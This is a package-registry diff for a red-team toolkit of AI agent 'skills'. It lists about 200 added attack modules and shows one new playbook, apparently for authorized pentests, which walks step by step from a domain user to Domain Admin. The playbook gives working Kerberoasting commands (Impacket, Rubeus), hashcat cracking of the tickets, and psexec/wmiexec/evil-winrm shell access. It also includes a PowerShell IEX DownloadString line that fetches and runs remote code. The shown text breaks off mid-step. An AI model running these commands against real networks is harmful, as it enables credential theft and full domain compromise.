rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,573 @@
1
+ ---
2
+ name: rt-scenario-n001
3
+ description: "N-001: Kerberoasting → Service Account Compromise → Domain Admin. Domain: network. Attack chain: enumerate service accounts with SPNs → request TGS tickets → save to file → hashcat crack → use service account → find path to Domain Admin via BloodHound. MITRE: T1558.003 → T1110.002 → T1078.002. Real example: SQLSvc has admin rights on DC → Kerberoast → crack password → PSexec to DC → domain admin"
4
+ ---
5
+
6
+ # N-001: Kerberoasting → Service Account Compromise → Domain Admin
7
+
8
+ ## Overview
9
+
10
+ **Attack Objective:** Compromise a domain-joined service account by requesting and cracking its Kerberos TGS ticket (Kerberoasting), then leveraging that account's privileges — or a BloodHound-identified path — to achieve Domain Admin access.
11
+
12
+ **Required Access Level:** Low (any valid domain user account suffices; no elevated privileges required to enumerate or request tickets)
13
+
14
+ **Estimated Time to Execute:**
15
+ - Enumeration + ticket request: 5–15 minutes
16
+ - Offline cracking: 15 minutes to several hours (hardware and password complexity dependent)
17
+ - Lateral movement to Domain Admin: 15–60 minutes
18
+
19
+ **Detection Risk Level:** Medium
20
+ - Ticket requests are normal Kerberos traffic, but requesting RC4-encrypted tickets for many SPNs is anomalous
21
+ - Offline cracking leaves no network footprint
22
+ - PSexec and lateral movement phase is higher risk (High)
23
+
24
+ ---
25
+
26
+ ## Prerequisites
27
+
28
+ ### Required Tools
29
+
30
+ ```bash
31
+ # Impacket suite (GetUserSPNs, PSexec, secretsdump)
32
+ pip install impacket
33
+ # or clone from source
34
+ git clone https://github.com/fortra/impacket.git && cd impacket && pip install .
35
+
36
+ # BloodHound + SharpHound collector
37
+ # BloodHound CE (Docker):
38
+ docker pull specterops/bloodhound
39
+ # or download BloodHound legacy: https://github.com/BloodHoundAD/BloodHound/releases
40
+
41
+ # SharpHound (run on target, Windows)
42
+ # Download: https://github.com/BloodHoundAD/SharpHound/releases
43
+ # Invoke-BloodHound (PowerShell):
44
+ IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')
45
+
46
+ # Hashcat
47
+ # Linux:
48
+ sudo apt install hashcat
49
+ # Windows: https://hashcat.net/hashcat/
50
+
51
+ # CrackMapExec (lateral movement verification)
52
+ pip install crackmapexec
53
+ # or: pipx install crackmapexec
54
+
55
+ # Rubeus (Windows-native Kerberoasting alternative)
56
+ # Download: https://github.com/GhostPack/Rubeus/releases
57
+
58
+ # PowerView (AD enumeration)
59
+ # Download: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
60
+ ```
61
+
62
+ ### Required Access or Conditions
63
+
64
+ - A valid domain user account (standard user, no special privileges required)
65
+ - Network connectivity to a Domain Controller (ports 88/TCP Kerberos, 389/TCP LDAP, 445/TCP SMB)
66
+ - At least one service account with a registered SPN that uses RC4 (or AES, crackable but slower) encryption
67
+ - Authorization: written permission (Rules of Engagement) for the target domain
68
+
69
+ ### Skill Level
70
+
71
+ **INTERMEDIATE** — Requires familiarity with Active Directory concepts (SPNs, Kerberos, TGS), command-line tools, and hashcat usage. BloodHound analysis requires understanding of AD attack paths.
72
+
73
+ ---
74
+
75
+ ## Attack Chain
76
+
77
+ ```
78
+ [Domain User Account]
79
+ |
80
+ v
81
+ [1] Enumerate service accounts with SPNs
82
+ (GetUserSPNs.py / PowerView / Rubeus)
83
+ |
84
+ v
85
+ [2] Request TGS tickets for target SPNs
86
+ (Kerberoasting — T1558.003)
87
+ |
88
+ v
89
+ [3] Save hashes to file
90
+ (offline — no further network interaction needed)
91
+ |
92
+ v
93
+ [4] Crack hashes offline with hashcat
94
+ (Brute Force / Dictionary — T1110.002)
95
+ |
96
+ v
97
+ [5] Authenticate as compromised service account
98
+ (Valid Accounts: Domain Accounts — T1078.002)
99
+ |
100
+ v
101
+ [6] Run BloodHound to map path to Domain Admin
102
+ |
103
+ v
104
+ [7] Execute lateral movement / privilege escalation path
105
+ |
106
+ v
107
+ [DOMAIN ADMIN]
108
+ ```
109
+
110
+ **MITRE ATT&CK Chain:** T1558.003 → T1110.002 → T1078.002
111
+
112
+ ---
113
+
114
+ ## Step-by-Step Execution
115
+
116
+ ### Step 1: Enumerate Service Accounts with SPNs
117
+
118
+ **Objective:** Identify accounts that have a Service Principal Name (SPN) registered — these are Kerberoastable.
119
+
120
+ **Option A — From Linux (Impacket):**
121
+ ```bash
122
+ GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jsmith:Password123 -outputfile spns_found.txt
123
+ ```
124
+
125
+ **Option B — From Windows (PowerView):**
126
+ ```powershell
127
+ Import-Module .\PowerView.ps1
128
+ Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description
129
+ ```
130
+
131
+ **Option C — From Windows (native LDAP query):**
132
+ ```powershell
133
+ setspn -Q */* | findstr /i "CN="
134
+ ```
135
+
136
+ **Option D — From Windows (Rubeus):**
137
+ ```powershell
138
+ .\Rubeus.exe kerberoast /stats
139
+ ```
140
+
141
+ **Expected Output (Impacket):**
142
+ ```
143
+ ServicePrincipalName Name MemberOf PasswordLastSet
144
+ ---------------------------------- ------- -------------------------------- -------------------
145
+ MSSQLSvc/sql01.corp.local:1433 SQLSvc CN=Domain Admins,CN=Users,... 2022-03-15 09:12:33
146
+ HTTP/webapp01.corp.local WebSvc CN=Web Servers,CN=Groups,... 2023-01-10 14:05:11
147
+ ```
148
+
149
+ **What to look for:**
150
+ - Accounts with weak or old passwords (PasswordLastSet far in the past)
151
+ - Accounts with high-value group memberships (Domain Admins, Administrators, etc.)
152
+ - RC4-encrypted tickets (type 0x17) — faster to crack than AES
153
+
154
+ **Fallback:** If LDAP is blocked on 389, try 636 (LDAPS) or use `-no-pass` with a hash if you have one.
155
+
156
+ ---
157
+
158
+ ### Step 2: Request TGS Tickets (Kerberoast)
159
+
160
+ **Objective:** Request Kerberos TGS tickets for the identified SPNs. The ticket is encrypted with the service account's password hash — we can crack it offline.
161
+
162
+ **Option A — From Linux (Impacket, all SPNs):**
163
+ ```bash
164
+ GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jsmith:Password123 -request -outputfile kerberoast_hashes.txt
165
+ ```
166
+
167
+ **Option B — Target a specific account:**
168
+ ```bash
169
+ GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jsmith:Password123 -request-user SQLSvc -outputfile sqlsvc_hash.txt
170
+ ```
171
+
172
+ **Option C — From Windows (Rubeus, RC4 downgrade for faster cracking):**
173
+ ```powershell
174
+ .\Rubeus.exe kerberoast /rc4opsec /outfile:kerberoast_hashes.txt
175
+ ```
176
+
177
+ **Option D — From Windows (Invoke-Kerberoast via PowerView):**
178
+ ```powershell
179
+ Import-Module .\PowerView.ps1
180
+ Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File -FilePath kerberoast_hashes.txt -Encoding ASCII
181
+ ```
182
+
183
+ **Expected Output (hash file):**
184
+ ```
185
+ $krb5tgs$23$*SQLSvc$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$A1B2C3D4E5F6...
186
+ [long hash string]
187
+ ```
188
+
189
+ Hash type `$krb5tgs$23$` = RC4 (hashcat mode 13100 — faster)
190
+ Hash type `$krb5tgs$18$` = AES256 (hashcat mode 19700 — slower)
191
+
192
+ **Fallback:** If the account enforces AES-only, the ticket will be AES-encrypted. Still crackable but requires a larger wordlist and more time. Use `/enctype:rc4` in Rubeus only if the account's `msDS-SupportedEncryptionTypes` allows RC4.
193
+
194
+ ---
195
+
196
+ ### Step 3: Save Hashes to File
197
+
198
+ Hashes are already saved via `-outputfile` in Step 2. Verify:
199
+
200
+ ```bash
201
+ cat kerberoast_hashes.txt
202
+ # Confirm at least one complete hash line starting with $krb5tgs$
203
+ ```
204
+
205
+ **Transfer to cracking machine if needed:**
206
+ ```bash
207
+ scp kerberoast_hashes.txt cracker@192.168.50.5:/opt/cracking/
208
+ ```
209
+
210
+ ---
211
+
212
+ ### Step 4: Crack Hashes Offline with Hashcat
213
+
214
+ **Objective:** Recover plaintext passwords from the captured TGS ticket hashes.
215
+
216
+ **Mode 13100 = RC4 (etype 23), Mode 19700 = AES256 (etype 18)**
217
+
218
+ **Step 4a — Dictionary attack with rockyou:**
219
+ ```bash
220
+ hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
221
+ ```
222
+
223
+ **Step 4b — Dictionary + rules (recommended for service accounts):**
224
+ ```bash
225
+ hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
226
+ ```
227
+
228
+ **Step 4c — Corporate password pattern (common for service accounts: CompanyName+Year+!):**
229
+ ```bash
230
+ # Create custom wordlist
231
+ cat > corp_patterns.txt << EOF
232
+ Winter2022
233
+ Winter2023
234
+ Summer2022
235
+ Summer2023
236
+ Company2022!
237
+ Company2023!
238
+ ServiceAcct1
239
+ SQL2019!
240
+ EOF
241
+
242
+ hashcat -m 13100 kerberoast_hashes.txt corp_patterns.txt -r /usr/share/hashcat/rules/best64.rule --force
243
+ ```
244
+
245
+ **Step 4d — AES256 hashes:**
246
+ ```bash
247
+ hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
248
+ ```
249
+
250
+ **Show cracked passwords:**
251
+ ```bash
252
+ hashcat -m 13100 kerberoast_hashes.txt --show
253
+ ```
254
+
255
+ **Expected Output:**
256
+ ```
257
+ $krb5tgs$23$*SQLSvc$CORP.LOCAL$...*:<long hash>:SQL2019!
258
+ ```
259
+
260
+ Cracked password: `SQL2019!`
261
+
262
+ **Fallback:** If rockyou fails, try:
263
+ - `hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule`
264
+ - SecLists password lists: `https://github.com/danielmiessler/SecLists/tree/master/Passwords`
265
+ - Hybrid attack: `hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -a 6 ?d?d?d?d`
266
+
267
+ ---
268
+
269
+ ### Step 5: Authenticate as Compromised Service Account
270
+
271
+ **Objective:** Verify the cracked credentials and establish access.
272
+
273
+ **Step 5a — Verify credentials:**
274
+ ```bash
275
+ crackmapexec smb 192.168.1.10 -u SQLSvc -p 'SQL2019!' -d CORP.LOCAL
276
+ ```
277
+
278
+ **Expected Output:**
279
+ ```
280
+ SMB 192.168.1.10 445 DC01 [+] CORP.LOCAL\SQLSvc:SQL2019! (Pwn3d!)
281
+ ```
282
+
283
+ `(Pwn3d!)` indicates local admin rights on the target.
284
+
285
+ **Step 5b — Check what systems the account has access to:**
286
+ ```bash
287
+ crackmapexec smb 192.168.1.0/24 -u SQLSvc -p 'SQL2019!' -d CORP.LOCAL
288
+ ```
289
+
290
+ **Step 5c — Get a shell (if local admin on DC):**
291
+ ```bash
292
+ psexec.py CORP.LOCAL/SQLSvc:'SQL2019!'@192.168.1.10
293
+ ```
294
+
295
+ **Alternative (WMIexec — lower footprint than PSexec):**
296
+ ```bash
297
+ wmiexec.py CORP.LOCAL/SQLSvc:'SQL2019!'@192.168.1.10
298
+ ```
299
+
300
+ **Alternative (Evil-WinRM if WinRM is enabled):**
301
+ ```bash
302
+ evil-winrm -i 192.168.1.10 -u SQLSvc -p 'SQL2019!'
303
+ ```
304
+
305
+ **Fallback:** If direct access is blocked, use the credentials in BloodHound enumeration (Step 6) to find an alternative path.
306
+
307
+ ---
308
+
309
+ ### Step 6: Run BloodHound to Map Path to Domain Admin
310
+
311
+ **Objective:** Identify the shortest path from the compromised SQLSvc account to Domain Admin.
312
+
313
+ **Step 6a — Collect BloodHound data (run on domain-joined Windows host as SQLSvc):**
314
+
315
+ ```powershell
316
